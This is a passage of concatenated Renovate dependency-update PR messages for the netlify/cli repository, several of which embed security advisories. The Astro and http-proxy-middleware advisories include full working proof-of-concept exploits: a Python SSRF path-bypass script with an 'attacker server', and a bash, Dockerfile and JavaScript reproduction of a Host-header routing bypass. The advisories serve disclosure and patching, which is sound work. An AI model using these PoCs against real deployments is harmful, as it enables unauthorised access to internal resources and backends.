conflicted, or you tick the rebase/retry checkbox. 🔕 **Ignore**: Close this PR and you won't be reminded about these updates again. --- - [ ] If you want to rebase/retry this PR, check this box --- This PR was generated by [Mend Renovate](https://mend.io/renovate/). View the [repository job log](https://developer.mend.io/github/netlify/cli).  Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com> Co-authored-by: kodiakhq[bot] <49736102+kodiakhq[bot]@users.noreply.github.com>

This PR contains the following updates: | Package | Change | [Age](https://docs.renovatebot.com/merge-confidence/) | [Confidence](https://docs.renovatebot.com/merge-confidence/) | |---|---|---|---| | [https-proxy-agent](https://redirect.github.com/TooTallNate/proxy-agents) ([source](https://redirect.github.com/TooTallNate/proxy-agents/tree/HEAD/packages/https-proxy-agent)) | [`7.0.6` → `8.0.0`](https://renovatebot.com/diffs/npm/https-proxy-agent/7.0.6/8.0.0) | ![age](https://developer.mend.io/api/mc/badges/age/npm/https-proxy-agent/8.0.0?slim=true) | ![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/https-proxy-agent/7.0.6/8.0.0?slim=true) | --- ### Release Notes <details> <summary>TooTallNate/proxy-agents (https-proxy-agent)</summary> ### [`v8.0.0`](https://redirect.github.com/TooTallNate/proxy-agents/blob/HEAD/packages/https-proxy-agent/CHANGELOG.md#800) [Compare Source](https://redirect.github.com/TooTallNate/proxy-agents/compare/https-proxy-agent@7.0.6...https-proxy-agent@8.0.0) ##### Major Changes - [`9c92c09`](https://redirect.github.com/TooTallNate/proxy-agents/commit/9c92c09): Convert to ESM. All packages now use `"type": "module"` and compile to ESM output instead of CommonJS. ##### Patch Changes - Updated dependencies \[[`9c92c09`](https://redirect.github.com/TooTallNate/proxy-agents/commit/9c92c09)] - agent-base\@&netlify#8203;8.0.0 </details> --- ### Configuration 📅 **Schedule**: Branch creation - Between 12:00 AM and 03:59 AM, only on Monday ( * 0-3 * * 1 ) (UTC), Automerge - At any time (no schedule defined). 🚦 **Automerge**: Disabled by config. Please merge this manually once you are satisfied. ♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox. 🔕 **Ignore**: Close this PR and you won't be reminded about this update again. --- - [ ] If you want to rebase/retry this PR, check this box --- This PR was generated by [Mend Renovate](https://mend.io/renovate/). View the [repository job log](https://developer.mend.io/github/netlify/cli).  Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com> Co-authored-by: Philippe Serhal <philippe.serhal@netlify.com>

This PR contains the following updates: | Package | Change | [Age](https://docs.renovatebot.com/merge-confidence/) | [Confidence](https://docs.renovatebot.com/merge-confidence/) | |---|---|---|---| | [fastify](https://fastify.dev/) ([source](https://redirect.github.com/fastify/fastify)) | [`5.8.2` → `5.8.3`](https://renovatebot.com/diffs/npm/fastify/5.8.2/5.8.3) | ![age](https://developer.mend.io/api/mc/badges/age/npm/fastify/5.8.3?slim=true) | ![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/fastify/5.8.2/5.8.3?slim=true) | ### GitHub Vulnerability Alerts #### [CVE-2026-3635](https://redirect.github.com/fastify/fastify/security/advisories/GHSA-444r-cwp2-x5xf) ## Summary When `trustProxy` is configured with a restrictive trust function (e.g., a specific IP like `trustProxy: '10.0.0.1'`, a subnet, a hop count, or a custom function), the `request.protocol` and `request.host` getters read `X-Forwarded-Proto` and `X-Forwarded-Host` headers from any connection — including connections from untrusted IPs. This allows an attacker connecting directly to Fastify (bypassing the proxy) to spoof both the protocol and host seen by the application. ## Affected Versions fastify <= 5.8.2 ## Impact Applications using `request.protocol` or `request.host` for security decisions (HTTPS enforcement, secure cookie flags, CSRF origin checks, URL construction, host-based routing) are affected when `trustProxy` is configured with a restrictive trust function. When `trustProxy: true` (trust everything), both `host` and `protocol` trust all forwarded headers — this is expected behavior. The vulnerability only manifests with restrictive trust configurations. --- ### Release Notes <details> <summary>fastify/fastify (fastify)</summary> ### [`v5.8.3`](https://redirect.github.com/fastify/fastify/releases/tag/v5.8.3) [Compare Source](https://redirect.github.com/fastify/fastify/compare/v5.8.2...v5.8.3) #### ⚠️ Security Release This fixes CVE CVE-2026-3635 <GHSA-444r-cwp2-x5xf>. #### What's Changed - docs(readme): add [@&netlify#8203;Tony133](https://redirect.github.com/Tony133) to plugin team by [@&netlify#8203;Tony133](https://redirect.github.com/Tony133) in [#&netlify#8203;6565](https://redirect.github.com/fastify/fastify/pull/6565) - Updated Plugins-Guide.md; Changed "fastify" to "instance" during plugin registration to showcase that it's added as a child by [@&netlify#8203;kyrylchenko](https://redirect.github.com/kyrylchenko) in [#&netlify#8203;6566](https://redirect.github.com/fastify/fastify/pull/6566) - test: use fastify.test in test case by [@&netlify#8203;climba03003](https://redirect.github.com/climba03003) in [#&netlify#8203;6568](https://redirect.github.com/fastify/fastify/pull/6568) - docs: use fastify.example in documentation by [@&netlify#8203;climba03003](https://redirect.github.com/climba03003) in [#&netlify#8203;6567](https://redirect.github.com/fastify/fastify/pull/6567) - docs: add common performance degradation guidance by [@&netlify#8203;maxpetrusenko](https://redirect.github.com/maxpetrusenko) in [#&netlify#8203;6520](https://redirect.github.com/fastify/fastify/pull/6520) - docs(server): fix camelCase anchor links in TOC by [@&netlify#8203;Deepvamja](https://redirect.github.com/Deepvamja) in [#&netlify#8203;6530](https://redirect.github.com/fastify/fastify/pull/6530) - ci(link-checker): fix root-relative links resolution by [@&netlify#8203;barba-rossa](https://redirect.github.com/barba-rossa) in [#&netlify#8203;6535](https://redirect.github.com/fastify/fastify/pull/6535) - docs: update syntax markdown, absolute paths and links by [@&netlify#8203;Tony133](https://redirect.github.com/Tony133) in [#&netlify#8203;6569](https://redirect.github.com/fastify/fastify/pull/6569) - docs: clarify content-type parser/schema mismatch is outside threat model by [@&netlify#8203;mcollina](https://redirect.github.com/mcollina) in [#&netlify#8203;6537](https://redirect.github.com/fastify/fastify/pull/6537) - docs: fix incorrect code examples in Reply and Request reference by [@&netlify#8203;mahmoodhamdi](https://redirect.github.com/mahmoodhamdi) in [#&netlify#8203;6582](https://redirect.github.com/fastify/fastify/pull/6582) - docs: replace redirected npm.im http-errors link by [@&netlify#8203;mcollina](https://redirect.github.com/mcollina) in [#&netlify#8203;6588](https://redirect.github.com/fastify/fastify/pull/6588) - types: Allow port to be null in request type definition by [@&netlify#8203;TristanBarlow](https://redirect.github.com/TristanBarlow) in [#&netlify#8203;6589](https://redirect.github.com/fastify/fastify/pull/6589) - docs: update links by [@&netlify#8203;Tony133](https://redirect.github.com/Tony133) in [#&netlify#8203;6593](https://redirect.github.com/fastify/fastify/pull/6593) - ci(lock-threads): use shared lock-threads workflow by [@&netlify#8203;Fdawgs](https://redirect.github.com/Fdawgs) in [#&netlify#8203;6592](https://redirect.github.com/fastify/fastify/pull/6592) #### New Contributors - [@&netlify#8203;kyrylchenko](https://redirect.github.com/kyrylchenko) made their first contribution in [#&netlify#8203;6566](https://redirect.github.com/fastify/fastify/pull/6566) - [@&netlify#8203;maxpetrusenko](https://redirect.github.com/maxpetrusenko) made their first contribution in [#&netlify#8203;6520](https://redirect.github.com/fastify/fastify/pull/6520) - [@&netlify#8203;Deepvamja](https://redirect.github.com/Deepvamja) made their first contribution in [#&netlify#8203;6530](https://redirect.github.com/fastify/fastify/pull/6530) - [@&netlify#8203;barba-rossa](https://redirect.github.com/barba-rossa) made their first contribution in [#&netlify#8203;6535](https://redirect.github.com/fastify/fastify/pull/6535) - [@&netlify#8203;mahmoodhamdi](https://redirect.github.com/mahmoodhamdi) made their first contribution in [#&netlify#8203;6582](https://redirect.github.com/fastify/fastify/pull/6582) - [@&netlify#8203;TristanBarlow](https://redirect.github.com/TristanBarlow) made their first contribution in [#&netlify#8203;6589](https://redirect.github.com/fastify/fastify/pull/6589) **Full Changelog**: <fastify/fastify@v5.8.2...v5.8.3> </details> --- ### Configuration 📅 **Schedule**: Branch creation - "" (UTC), Automerge - At any time (no schedule defined). 🚦 **Automerge**: Enabled. ♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox. 🔕 **Ignore**: Close this PR and you won't be reminded about this update again. --- - [ ] If you want to rebase/retry this PR, check this box --- This PR was generated by [Mend Renovate](https://mend.io/renovate/). View the [repository job log](https://developer.mend.io/github/netlify/cli).  Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>

…y#8107) This PR contains the following updates: | Package | Change | [Age](https://docs.renovatebot.com/merge-confidence/) | [Confidence](https://docs.renovatebot.com/merge-confidence/) | |---|---|---|---| | [astro](https://astro.build) ([source](https://redirect.github.com/withastro/astro/tree/HEAD/packages/astro)) | [`5.18.0` → `5.18.1`](https://renovatebot.com/diffs/npm/astro/5.18.0/5.18.1) | ![age](https://developer.mend.io/api/mc/badges/age/npm/astro/5.18.1?slim=true) | ![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/astro/5.18.0/5.18.1?slim=true) | ### GitHub Vulnerability Alerts #### [CVE-2026-33769](https://redirect.github.com/withastro/astro/security/advisories/GHSA-g735-7g2w-hh3f) ## Summary This issue concerns Astro's `remotePatterns` path enforcement for remote URLs used by server-side fetchers such as the image optimization endpoint. The path matching logic for `/*` wildcards is unanchored, so a pathname that contains the allowed prefix later in the path can still match. As a result, an attacker can fetch paths outside the intended allowlisted prefix on an otherwise allowed host. In our PoC, both the allowed path and a bypass path returned 200 with the same SVG payload, confirming the bypass. ## Impact Attackers can fetch unintended remote resources on an allowlisted host via the image endpoint, expanding SSRF/data exposure beyond the configured path prefix. ## Description Taint flow: request -> `transform.src` -> `isRemoteAllowed()` -> `matchPattern()` -> `matchPathname()` User-controlled `href` is parsed into `transform.src` and validated via `isRemoteAllowed()`: Source: https://github.com/withastro/astro/blob/e0f1a2b3e4bc908bd5e148c698efb6f41a42c8ea/packages/astro/src/assets/endpoint/generic.ts#L43-L56 ```ts const url = new URL(request.url); const transform = await imageService.parseURL(url, imageConfig); const isRemoteImage = isRemotePath(transform.src); if (isRemoteImage && isRemoteAllowed(transform.src, imageConfig) === false) { return new Response('Forbidden', { status: 403 }); } ``` `isRemoteAllowed()` checks each `remotePattern` via `matchPattern()`: Source: https://github.com/withastro/astro/blob/e0f1a2b3e4bc908bd5e148c698efb6f41a42c8ea/packages/internal-helpers/src/remote.ts#L15-L21 ```ts export function matchPattern(url: URL, remotePattern: RemotePattern): boolean { return ( matchProtocol(url, remotePattern.protocol) && matchHostname(url, remotePattern.hostname, true) && matchPort(url, remotePattern.port) && matchPathname(url, remotePattern.pathname, true) ); } ``` The vulnerable logic in `matchPathname()` uses `replace()` without anchoring the prefix for `/*` patterns: Source: https://github.com/withastro/astro/blob/e0f1a2b3e4bc908bd5e148c698efb6f41a42c8ea/packages/internal-helpers/src/remote.ts#L85-L99 ```ts } else if (pathname.endsWith('/*')) { const slicedPathname = pathname.slice(0, -1); // * length const additionalPathChunks = url.pathname .replace(slicedPathname, '') .split('/') .filter(Boolean); return additionalPathChunks.length === 1; } ``` **Vulnerable code flow:** 1. `isRemoteAllowed()` evaluates `remotePatterns` for a requested URL. 2. `matchPathname()` handles `pathname: "/img/*"` using `.replace()` on the URL path. 3. A path such as `/evil/img/secret` incorrectly matches because `/img/` is removed even when it's not at the start. 4. The image endpoint fetches and returns the remote resource. ## PoC The PoC starts a local attacker server and configures remotePatterns to allow only `/img/*`. It then requests the image endpoint with two URLs: an allowed path and a bypass path with `/img/` in the middle. Both requests returned the SVG payload, showing the path restriction was bypassed. ### Vulnerable config ```js import { defineConfig } from 'astro/config'; import node from '@&netlify#8203;astrojs/node'; export default defineConfig({ output: 'server', adapter: node({ mode: 'standalone' }), image: { remotePatterns: [ { protocol: 'https', hostname: 'cdn.example', pathname: '/img/*' }, { protocol: 'http', hostname: '127.0.0.1', port: '9999', pathname: '/img/*' }, ], }, }); ``` ### Affected pages This PoC targets the `/_image` endpoint directly; no additional pages are required. ### PoC Code ```python import http.client import json import urllib.parse HOST = "127.0.0.1" PORT = 4321 def fetch(path: str) -> dict: conn = http.client.HTTPConnection(HOST, PORT, timeout=10) conn.request("GET", path, headers={"Host": f"{HOST}:{PORT}"}) resp = conn.getresponse() body = resp.read(2000).decode("utf-8", errors="replace") conn.close() return { "path": path, "status": resp.status, "reason": resp.reason, "headers": dict(resp.getheaders()), "body_snippet": body[:400], } allowed = urllib.parse.quote("http://127.0.0.1:9999/img/allowed.svg", safe="") bypass = urllib.parse.quote("http://127.0.0.1:9999/evil/img/secret.svg", safe="") # Both pass, second should fail results = { "allowed": fetch(f"/_image?href={allowed}&f=svg"), "bypass": fetch(f"/_image?href={bypass}&f=svg"), } print(json.dumps(results, indent=2)) ``` ### Attacker server ```python from http.server import BaseHTTPRequestHandler, HTTPServer HOST = "127.0.0.1" PORT = 9999 PAYLOAD = """<svg xmlns=\"http://www.w3.org/2000/svg\"> <text>OK</text> </svg> """ class Handler(BaseHTTPRequestHandler): def do_GET(self): print(f">>> {self.command} {self.path}") if self.path.endswith(".svg") or "/img/" in self.path: self.send_response(200) self.send_header("Content-Type", "image/svg+xml") self.send_header("Cache-Control", "no-store") self.end_headers() self.wfile.write(PAYLOAD.encode("utf-8")) return self.send_response(200) self.send_header("Content-Type", "text/plain") self.end_headers() self.wfile.write(b"ok") def log_message(self, format, *args): return if __name__ == "__main__": server = HTTPServer((HOST, PORT), Handler) print(f"HTTP logger listening on http://{HOST}:{PORT}") server.serve_forever() ``` ### PoC Steps 1. Bootstrap default Astro project. 2. Add the vulnerable config and attacker server. 3. Build the project. 4. Start the attacker server. 5. Start the Astro server. 6. Run the PoC. 7. Observe the console output showing both the allowed and bypass requests returning the SVG payload. --- ### Release Notes <details> <summary>withastro/astro (astro)</summary> ### [`v5.18.1`](https://redirect.github.com/withastro/astro/releases/tag/astro%405.18.1) [Compare Source](https://redirect.github.com/withastro/astro/compare/astro@5.18.0...astro@5.18.1) ##### Patch Changes - Updated dependencies \[[`c2cd371`](https://redirect.github.com/withastro/astro/commit/c2cd371f9f2003ab8c9ce70a24fc0af40c5de531)]: - [@&netlify#8203;astrojs/internal-helpers](https://redirect.github.com/astrojs/internal-helpers)@0.7.6 - [@&netlify#8203;astrojs/markdown-remark](https://redirect.github.com/astrojs/markdown-remark)@6.3.11 </details> --- ### Configuration 📅 **Schedule**: Branch creation - "" (UTC), Automerge - At any time (no schedule defined). 🚦 **Automerge**: Enabled. ♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox. 🔕 **Ignore**: Close this PR and you won't be reminded about this update again. --- - [ ] If you want to rebase/retry this PR, check this box --- This PR was generated by [Mend Renovate](https://mend.io/renovate/). View the [repository job log](https://developer.mend.io/github/netlify/cli).  Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>

…ty] (netlify#8120) This PR contains the following updates: | Package | Change | [Age](https://docs.renovatebot.com/merge-confidence/) | [Confidence](https://docs.renovatebot.com/merge-confidence/) | |---|---|---|---| | [serialize-javascript](https://redirect.github.com/yahoo/serialize-javascript) | [`7.0.3` → `7.0.5`](https://renovatebot.com/diffs/npm/serialize-javascript/7.0.3/7.0.5) | ![age](https://developer.mend.io/api/mc/badges/age/npm/serialize-javascript/7.0.5?slim=true) | ![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/serialize-javascript/7.0.3/7.0.5?slim=true) | ### GitHub Vulnerability Alerts #### [CVE-2026-34043](https://redirect.github.com/yahoo/serialize-javascript/security/advisories/GHSA-qj8w-gfj5-8c6v) ### Impact **What kind of vulnerability is it?** It is a **Denial of Service (DoS)** vulnerability caused by CPU exhaustion. When serializing a specially crafted "array-like" object (an object that inherits from `Array.prototype` but has a very large `length` property), the process enters an intensive loop that consumes 100% CPU and hangs indefinitely. **Who is impacted?** Applications that use `serialize-javascript` to serialize untrusted or user-controlled objects are at risk. While direct exploitation is difficult, it becomes a high-priority threat if the application is also vulnerable to **Prototype Pollution** or handles untrusted data via **YAML Deserialization**, as these could be used to inject the malicious object. ### Patches **Has the problem been patched?** Yes, the issue has been patched by replacing `instanceof Array` checks with `Array.isArray()` and using `Object.keys()` for sparse array detection. **What versions should users upgrade to?** Users should upgrade to **`v7.0.5`** or later. ### Workarounds **Is there a way for users to fix or remediate the vulnerability without upgrading?** There is no direct code-level workaround within the library itself. However, users can mitigate the risk by: * Validating and sanitizing all input before passing it to the `serialize()` function. * Ensuring the environment is protected against Prototype Pollution. * Upgrading to **`v7.0.5`** as soon as possible. ### Acknowledgements Serialize JavaScript thanks **Tomer Aberbach** (@&netlify#8203;TomerAberbach) for discovering and privately disclosing this issue. --- ### Release Notes <details> <summary>yahoo/serialize-javascript (serialize-javascript)</summary> ### [`v7.0.5`](https://redirect.github.com/yahoo/serialize-javascript/releases/tag/v7.0.5) [Compare Source](https://redirect.github.com/yahoo/serialize-javascript/compare/v7.0.4...v7.0.5) ##### Fixes - Improve robustness and validation for array-like object serialization. - Fix an issue where certain object structures could lead to excessive CPU usage. For more details, please see GHSA-qj8w-gfj5-8c6v. ### [`v7.0.4`](https://redirect.github.com/yahoo/serialize-javascript/releases/tag/v7.0.4) [Compare Source](https://redirect.github.com/yahoo/serialize-javascript/compare/v7.0.3...v7.0.4) #### What's Changed - release: v7.0.4 by [@&netlify#8203;okuryu](https://redirect.github.com/okuryu) in [#&netlify#8203;211](https://redirect.github.com/yahoo/serialize-javascript/pull/211) **Full Changelog**: <yahoo/serialize-javascript@v7.0.3...v7.0.4> </details> --- ### Configuration 📅 **Schedule**: Branch creation - "" (UTC), Automerge - At any time (no schedule defined). 🚦 **Automerge**: Enabled. ♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox. 🔕 **Ignore**: Close this PR and you won't be reminded about this update again. --- - [ ] If you want to rebase/retry this PR, check this box --- This PR was generated by [Mend Renovate](https://mend.io/renovate/). View the [repository job log](https://developer.mend.io/github/netlify/cli).  Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>

…8302) This PR contains the following updates: | Package | Type | Update | Change | |---|---|---|---| | [actions/create-github-app-token](https://redirect.github.com/actions/create-github-app-token) | action | patch | `v2.2.1` → `v2.2.2` | --- ### Release Notes <details> <summary>actions/create-github-app-token (actions/create-github-app-token)</summary> ### [`v2.2.2`](https://redirect.github.com/actions/create-github-app-token/releases/tag/v2.2.2) [Compare Source](https://redirect.github.com/actions/create-github-app-token/compare/v2.2.1...v2.2.2) ##### Bug Fixes - **deps:** bump [@actions/core](https://redirect.github.com/actions/core) from 1.11.1 to 3.0.0 ([#337](https://redirect.github.com/actions/create-github-app-token/issues/337)) ([b044133](https://redirect.github.com/actions/create-github-app-token/commit/b04413352d4644ac2131b9a90c074f5e93ca18a1)) - **deps:** bump minimatch from 9.0.5 to 9.0.9 ([#335](https://redirect.github.com/actions/create-github-app-token/issues/335)) ([5cbc656](https://redirect.github.com/actions/create-github-app-token/commit/5cbc65624c9ddc4589492bda7c8b146223e8c3e4)) - **deps:** bump the production-dependencies group with 4 updates ([#336](https://redirect.github.com/actions/create-github-app-token/issues/336)) ([6bda5bc](https://redirect.github.com/actions/create-github-app-token/commit/6bda5bc1410576b9a0879ce6076d53345485bba9)) - **deps:** bump undici from 7.16.0 to 7.18.2 ([#323](https://redirect.github.com/actions/create-github-app-token/issues/323)) ([b4f638f](https://redirect.github.com/actions/create-github-app-token/commit/b4f638f48ee0dcdbb0bc646c48e4cb2a2de847fe)) </details> --- ### Configuration 📅 **Schedule**: (UTC) - Branch creation - Between 12:00 AM and 03:59 AM, only on Monday (`* 0-3 * * 1`) - Automerge - At any time (no schedule defined) 🚦 **Automerge**: Enabled. ♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox. 🔕 **Ignore**: Close this PR and you won't be reminded about this update again. --- - [ ] If you want to rebase/retry this PR, check this box --- This PR was generated by [Mend Renovate](https://mend.io/renovate/). View the [repository job log](https://developer.mend.io/github/netlify/cli).  Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>

…ity] (#8318) This PR contains the following updates: | Package | Change | [Age](https://docs.renovatebot.com/merge-confidence/) | [Confidence](https://docs.renovatebot.com/merge-confidence/) | |---|---|---|---| | [http-proxy-middleware](https://redirect.github.com/chimurai/http-proxy-middleware) | [`3.0.5` → `3.0.7`](https://renovatebot.com/diffs/npm/http-proxy-middleware/3.0.5/3.0.7) | ![age](https://developer.mend.io/api/mc/badges/age/npm/http-proxy-middleware/3.0.7?slim=true) | ![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/http-proxy-middleware/3.0.5/3.0.7?slim=true) | --- ### http-proxy-middleware `router` host+path substring matching allows Host-header-driven backend routing bypass [CVE-2026-55602](https://nvd.nist.gov/vuln/detail/CVE-2026-55602) / [GHSA-64mm-vxmg-q3vj](https://redirect.github.com/advisories/GHSA-64mm-vxmg-q3vj) <details> <summary>More information</summary> #### Details ##### Summary `http-proxy-middleware` documents `router` proxy-table entries as host, path, or host+path selectors, but the host+path implementation uses unanchored substring matching on attacker-controlled request metadata. As a result, a crafted `Host` header that is only a superstring match for a configured host+path key can still route a request to an unintended backend. ##### Details Tested code state: - validated on tag `v4.0.0-beta.5` - corresponding commit: `339f09ede860197807d4fd99ed9020fa5d0bd358` Relevant code locations: - `src/router.ts` - `src/http-proxy-middleware.ts` Affected public API: - `createProxyMiddleware({ router: { 'host/path': 'http://target' } })` Code explanation: When a proxy-table router key contains `/`, `getTargetFromProxyTable()` concatenates attacker-controlled `req.headers.host` and `req.url` into a single `hostAndPath` string, then accepts the route if: ```ts hostAndPath.indexOf(key) > -1 ``` That is a substring test, not an exact host match plus intended path match. In the validated PoC, the configured router key is: ```txt localhost:3000/api ``` but the attacker-controlled host is: ```txt evillocalhost:3000 ``` and the request path is: ```txt /api ``` The concatenated attacker-controlled string: ```txt evillocalhost:3000/api ``` still contains the configured router key as a substring, so the middleware selects the alternate backend even though the host is not equal to the configured host. Exploit path: 1. the application enables the documented proxy-table `router` feature with at least one host+path rule 2. an external attacker sends an ordinary HTTP request with a crafted `Host` header 3. `HttpProxyMiddleware.prepareProxyRequest()` applies router selection before proxying 4. `getTargetFromProxyTable()` accepts the crafted `Host + path` string through substring matching 5. the request is proxied to the wrong backend ##### PoC Create these files in the same working directory and run: ```bash bash ./run.sh ``` ##### File: `run.sh` ```bash #!/usr/bin/env bash set -euo pipefail SCRIPT_DIR="$(cd "$(dirname "${BASH_SOURCE[0]}")" && pwd)" REPO_URL="https://github.com/chimurai/http-proxy-middleware.git" REPO_REF="v4.0.0-beta.5" WORKDIR="$(mktemp -d "${SCRIPT_DIR}/.tmp-repro.XXXXXX")" TARGET_REPO_DIR="${WORKDIR}/repo" REPRO_DIR="${WORKDIR}/reproduction" IMAGE_TAG="http-proxy-middleware-router-bypass-poc" cleanup() { rm -rf "${WORKDIR}" } trap cleanup EXIT echo "[a3] cloning target repository" git clone --quiet "${REPO_URL}" "${TARGET_REPO_DIR}" git -C "${TARGET_REPO_DIR}" checkout --quiet "${REPO_REF}" mkdir -p "${REPRO_DIR}" cp "${SCRIPT_DIR}/Dockerfile" "${WORKDIR}/Dockerfile" cp "${SCRIPT_DIR}/verify.mjs" "${REPRO_DIR}/verify.mjs" echo "[a3] building reproduction image" docker build -f "${WORKDIR}/Dockerfile" -t "${IMAGE_TAG}" "${WORKDIR}" echo "[a3] running verification" docker run --rm "${IMAGE_TAG}" node /work/reproduction/verify.mjs ``` ##### File: `Dockerfile` ```Dockerfile FROM node:22-bullseye WORKDIR /work COPY repo/package.json repo/yarn.lock /work/repo/ RUN corepack enable \ && cd /work/repo \ && yarn install --frozen-lockfile COPY repo /work/repo RUN cd /work/repo && yarn build COPY reproduction /work/reproduction ``` ##### File: `verify.mjs` ```js import http from 'node:http'; import fs from 'node:fs'; import assert from 'node:assert/strict'; import { createProxyMiddleware } from '/work/repo/dist/index.js'; const ROUTER_KEY = 'localhost:3000/api'; const CRAFTED_HOST = 'evillocalhost:3000'; function listen(server, port) { return new Promise((resolve) => { server.listen(port, '127.0.0.1', () => resolve()); }); } function close(server) { return new Promise((resolve, reject) => { server.close((err) => { if (err) { reject(err); return; } resolve(); }); }); } function request(path, host) { return new Promise((resolve, reject) => { const req = http.request( { host: '127.0.0.1', port: 3000, path, method: 'GET', headers: { Host: host, }, }, (res) => { let data = ''; res.setEncoding('utf8'); res.on('data', (chunk) => { data += chunk; }); res.on('end', () => { resolve({ statusCode: res.statusCode, body: data }); }); }, ); req.on('error', reject); req.end(); }); } const defaultBackend = http.createServer((req, res) => { res.end('DEFAULT'); }); const secretBackend = http.createServer((req, res) => { res.end('SECRET'); }); const proxyMiddleware = createProxyMiddleware({ target: 'http://127.0.0.1:3101', router: { [ROUTER_KEY]: 'http://127.0.0.1:3102', }, }); const proxyServer = http.createServer((req, res) => { proxyMiddleware(req, res, () => { res.statusCode = 404; res.end('NO_PROXY'); }); }); try { assert.ok(fs.existsSync('/work/repo/dist/index.js')); assert.ok(fs.existsSync('/work/reproduction/verify.mjs')); await listen(defaultBackend, 3101); await listen(secretBackend, 3102); await listen(proxyServer, 3000); console.log('STEP start-services ok'); const baseline = await request('/api', 'safe.example:3000'); assert.equal(baseline.statusCode, 200); assert.equal(baseline.body, 'DEFAULT'); console.log(`STEP baseline-route body=${baseline.body}`); const crafted = await request('/api', CRAFTED_HOST); assert.equal(crafted.statusCode, 200); assert.equal(crafted.body, 'SECRET'); assert.notEqual(CRAFTED_HOST, ROUTER_KEY.split('/')[0]); console.log(`STEP crafted-route body=${crafted.body}`); console.log('RESULT reproduced host_header_injection router substring match bypass'); } finally { await Promise.allSettled([close(proxyServer), close(defaultBackend), close(secretBackend)]); } ``` This PoC starts: - one default backend returning `DEFAULT` - one alternate backend returning `SECRET` - one proxy using: ```js createProxyMiddleware({ target: 'http://127.0.0.1:3101', router: { [ROUTER_KEY]: 'http://127.0.0.1:3102', }, }); ``` It then sends: 1. a baseline request to `/api` with `Host: safe.example:3000` 2. a crafted request to `/api` with `Host: evillocalhost:3000` Observed result from the validated PoC: - baseline request: `STEP baseline-route body=DEFAULT` - crafted request: `STEP crafted-route body=SECRET` - success marker: `RESULT reproduced host_header_injection router substring match bypass` The PoC is considered successful only if: 1. the baseline request stays on the default backend 2. the crafted request reaches the alternate backend 3. the crafted host is not equal to the configured router host ##### Impact This is a backend-selection integrity issue in a documented library feature. Applications that use host+path router-table rules for backend segmentation, tenant routing, or separation of public and more sensitive upstreams can have that routing boundary bypassed by an unauthenticated external client using an ordinary crafted `Host` header. #### Severity - CVSS Score: 6.9 / 10 (Medium) - Vector String: `CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N` #### References - [https://github.com/chimurai/http-proxy-middleware/security/advisories/GHSA-64mm-vxmg-q3vj](https://redirect.github.com/chimurai/http-proxy-middleware/security/advisories/GHSA-64mm-vxmg-q3vj) - [https://github.com/advisories/GHSA-64mm-vxmg-q3vj](https://redirect.github.com/advisories/GHSA-64mm-vxmg-q3vj) This data is provided by the [GitHub Advisory Database](https://redirect.github.com/advisories/GHSA-64mm-vxmg-q3vj) ([CC-BY 